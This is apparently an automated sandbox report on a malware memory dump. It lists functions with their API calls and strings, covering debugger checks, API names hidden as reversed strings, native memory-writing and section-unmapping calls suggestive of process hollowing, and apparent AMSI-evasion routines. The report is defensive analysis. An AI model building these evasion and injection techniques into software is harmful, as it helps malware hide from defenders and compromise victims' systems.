Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: cae75c363c25a3ebd496c789de25cb895f617c81b6a078381491425355d927aa
Instruction ID: 02ea73879296f6fb652ecd6f8a8c70ed97984c2c0df079b6b8ef83159f43f98d
Opcode Fuzzy Hash: cae75c363c25a3ebd496c789de25cb895f617c81b6a078381491425355d927aa
Instruction Fuzzy Hash: 15F0FFF0AE9314EEE310A668AA49F93B3DCD380790F0089A9F90C87142CE701856AB20

Function 02B2F744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02B2F754
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B2F766
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B2F77D

Strings

CheckRemoteDebuggerPresent, xrefs: 02B2F760
KernelBase, xrefs: 02B2F74F

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: ea713b1c3d4f753c790bcd234f6d772a23eb27b1fcafda0fc67e9df7fa9fd7aa
Instruction ID: 362bd32dab411d132a2f7e16cf33f8bd7dadee8321ae1eea48ff71547cdee55a
Opcode Fuzzy Hash: ea713b1c3d4f753c790bcd234f6d772a23eb27b1fcafda0fc67e9df7fa9fd7aa
Instruction Fuzzy Hash: B4F0A770904358BAEB11A6B888887ECFBB99B05328F6447D0A439625E1E7710648CA51

Function 02B2DD70 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDAB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDDB
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B2DDF0
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B2DE1C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B2DE25

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 8d8d07eb54bc25ced58ed9f6b0dac5f25f37d9d312c3b8a3eadc90b1fe71cdfb
Instruction ID: cb33507f0371fe68966ae60c1350d619d561fbe3f02e67a5a19d6daea7cbe546
Opcode Fuzzy Hash: 8d8d07eb54bc25ced58ed9f6b0dac5f25f37d9d312c3b8a3eadc90b1fe71cdfb
Instruction Fuzzy Hash: F821E071A50319BAEB11EBD4CC56FDE77BDEB48700F5044A5B304F7180DA74AA048B64

Function 02B2E4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B2E5F6

Strings

OpenSession, xrefs: 02B2E598
ScanBuffer, xrefs: 02B2E53F
Initialize, xrefs: 02B2E4E6

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 17ce24548237caae77c1116b07a1156187d5658262714ee2c4997fd7c8668167
Instruction ID: a0088b32240204c0c93a2b628e941525b824f7999b1bb2216859d02b1e5a2f2c
Opcode Fuzzy Hash: 17ce24548237caae77c1116b07a1156187d5658262714ee2c4997fd7c8668167
Instruction Fuzzy Hash: 93413975B002189FEB01EBA4D881ADEB3BAEF88700FA044B6E145E7255DA70FD098F55

Function 02B2DC8C Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 8a3affb8e9959c6c716f62f522eb69936d7eef8f503e3b6eceb66db42d09d5e5
Instruction ID: f136d701f76cf2452534bb099dad970d2e84d65eb49685b700266cf4fc268102
Opcode Fuzzy Hash: 8a3affb8e9959c6c716f62f522eb69936d7eef8f503e3b6eceb66db42d09d5e5
Instruction Fuzzy Hash: 9321E071A40319BEEB10EBA0DD56FDEB7BDEB04B00F5144A1B604F71D0DBB4AA048A64

Function 02B28788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

Strings

Kernel32, xrefs: 02B287D3
CreateProcessAsUserW, xrefs: 02B287A1

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 5833ddcd2b10ff4a9cef86b2532c85ed18205b821ec5360ba91f2bcf9a9fb451
Instruction ID: b4156115f14dee8d39c35aa82bb7842d7eaaf1645aaf0c428994067ac26b9ea6
Opcode Fuzzy Hash: 5833ddcd2b10ff4a9cef86b2532c85ed18205b821ec5360ba91f2bcf9a9fb451
Instruction Fuzzy Hash: 9211E5B2654258AFEB40EFA8DD41F9A77EDEB0C740F5144A0FA08D7250C634FD159B25

Function 02B27A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

ntdll, xrefs: 02B27A74
yromeMlautriVetacollAwZ, xrefs: 02B27A47

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 43a9bc2ccc36254b3e890de2d70476f6f1dbc28d1dabb11641960a93debf0f74
Instruction ID: d23e4f91fa0960da7e273cc3fe5a9162521a241682b36118c561ac0a532a118c
Opcode Fuzzy Hash: 43a9bc2ccc36254b3e890de2d70476f6f1dbc28d1dabb11641960a93debf0f74
Instruction Fuzzy Hash: A1116DB5654308BFEB00EFA4DC41EAEB7FDEB49710F9084A0F904D7250DA30AA049B69

Function 02B27A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

ntdll, xrefs: 02B27A74
yromeMlautriVetacollAwZ, xrefs: 02B27A47

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: e1f661b269c2041d765f4d2cd6ec15c778d9f91efc5e90e2ddbf27126233e6da
Instruction ID: 8388146c6a95389dc2769de29c0f941351b9eb95c78c470c125d64e1f822c128
Opcode Fuzzy Hash: e1f661b269c2041d765f4d2cd6ec15c778d9f91efc5e90e2ddbf27126233e6da
Instruction Fuzzy Hash: 9D116DB5654308BFEB00EFA4DC41E9EB7FDEB49710F9084A0F904D7250DA30AA049B69

Function 02B28400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Strings

yromeMlautriVdaeRtN, xrefs: 02B2841B
ntdll, xrefs: 02B28448

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 2302c5452c72cc4b74f3376c450b93363e90a82bcc714541f05f1224b3399bdf
Instruction ID: 4416821152efddc7df5757196051053e39fe12a0bcaf38e925373375cc6836f0
Opcode Fuzzy Hash: 2302c5452c72cc4b74f3376c450b93363e90a82bcc714541f05f1224b3399bdf
Instruction Fuzzy Hash: 5E0140B5644318BFEB00EFA4DC41E9AB7FDEB4D700F9184A0F908D7650DA34A9159B64

Function 02B27D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Strings

yromeMlautriVetirW, xrefs: 02B27D93
Ntdll, xrefs: 02B27DC3

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 84e0a488bf2ab2176ac38dbde07737796b017b087401e4d8b03ec6f5f8e4d1a6
Instruction ID: ddbd965f134c26a55d869f5fea77957af354fd61dad7dd9a68ceb4cbc746443f
Opcode Fuzzy Hash: 84e0a488bf2ab2176ac38dbde07737796b017b087401e4d8b03ec6f5f8e4d1a6
Instruction Fuzzy Hash: 14012DB5654314AFDB00EFA8DC41E5AB7EDEB49700F908890B908D7650DA30AD159B75

Function 02B28670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Strings

ntdll, xrefs: 02B286B8
noitceSfOweiVpamnUtN, xrefs: 02B2868B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 1e3fff73664cdce6c7097bc5c563aeb72e88e0dfc9957bcc874732ce7c1ef189
Instruction ID: 49158d26d9311c15c17309da22fd1708ef641e0c56c2a26098a1afc479a9023a
Opcode Fuzzy Hash: 1e3fff73664cdce6c7097bc5c563aeb72e88e0dfc9957bcc874732ce7c1ef189
Instruction Fuzzy Hash: C201A2B4A44304AFEB00EFA4DC41E5EB7FEEB48740F9084E0F40497610DA34A905DA24

Function 02B2DBB0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Path$DeleteFileNameName_
String ID:
API String ID: 4284456518-0
Opcode ID: 61a08e4082b907a7fadada8ef99bea835fdc52f3085f566acc936c24da98cff4
Instruction ID: 7e57c1e19183b966585c856fc1901b44e08328d363bdf6be433c6ecf41e8b3b6
Opcode Fuzzy Hash: 61a08e4082b907a7fadada8ef99bea835fdc52f3085f566acc936c24da98cff4
Instruction Fuzzy Hash: 4C01A275A4430A6EEB05DBA08D55FCD77B9AB44304F5005D29204E6081DAB4AB088B24

Function 02B2DC04 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: PathString$AllocDeleteFileFreeNameName_
String ID:
API String ID: 1530111750-0
Opcode ID: 66a4a3a4823cf7049789eae3ca951f846f0146a4fb19272d5dcc8bbded89c83b
Instruction ID: af9d69ab82114b9e8ef285d9bb1cec7df01d799a0ad4891b53d89aa00e2aabc6
Opcode Fuzzy Hash: 66a4a3a4823cf7049789eae3ca951f846f0146a4fb19272d5dcc8bbded89c83b
Instruction Fuzzy Hash: A701F47194030DBEEB11EBA0DD56FCDB3BDEB48700F9145E1E605E6590EA74AB088A64

Function 02B26DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02B26D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,02B26DB9,?,?,?,00000000), ref: 02B26D99

CoCreateInstance.OLE32(?,00000000,00000005,02B26EAC,00000000,00000000,02B26E2B,?,00000000,02B26E9B), ref: 02B26E17

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 65475bca08fe62d4683997fa76f9561573564cbccf2fd98dd4fa29a6a45e5e62
Instruction ID: 65ce6676ed6112fabea7441798b2c83f6ccd0f2f1b98e0c1ec686466d75e23e9
Opcode Fuzzy Hash: 65475bca08fe62d4683997fa76f9561573564cbccf2fd98dd4fa29a6a45e5e62
Instruction Fuzzy Hash: 9B01F231608708AEF711EF61DC6296FBBBDE749B00B9108B5F409E2690EA309D14C964

Function 02B2F7C8 Relevance: 227.8, APIs: 8, Strings: 117, Instructions: 9071COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02B3B784,?,?,?,00000000,00000000), ref: 02B2F801

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B2F6E8: GetModuleHandleW.KERNEL32(KernelBase,?,02B2FAEB,UacInitialize,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize), ref: 02B2F6EE
Part of subcall function 02B2F6E8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B2F700

Part of subcall function 02B2F744: GetModuleHandleW.KERNEL32(KernelBase), ref: 02B2F754
